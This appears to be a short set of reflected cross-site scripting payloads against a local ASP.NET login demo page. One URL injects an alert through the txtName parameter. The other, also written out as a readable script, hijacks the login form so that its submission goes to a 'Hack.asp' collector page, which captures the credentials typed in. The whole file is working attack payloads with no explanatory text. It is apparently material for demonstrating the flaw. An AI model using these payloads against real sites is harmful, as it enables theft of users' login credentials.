http://localhost/CrossScripting/Login.aspx?txtName=Fabio<SCRIPT FOR=window EVENT=onload LANGUAGE="JScript">alert("Hack");</SCRIPT>

http://localhost/CrossScripting/Login.aspx?txtName=Stefano<script>window.onload = function(){document.forms[0].onsubmit = function (){ return Hack()}};function Hack(){var action="http://localhost/Hack/Hack.asp";document.forms[0].action=action;document.forms[0].method="GET";return true;}</script>



<script>
window.onload = function()
{
	document.forms[0].onsubmit = function ()
	{ 
		return Hack()
	}
}

function Hack()
{
	var action="http://localhost/Hack/Hack.asp";
	document.forms[0].action=action;document.forms[0].method="GET";
	return true;
}

</script>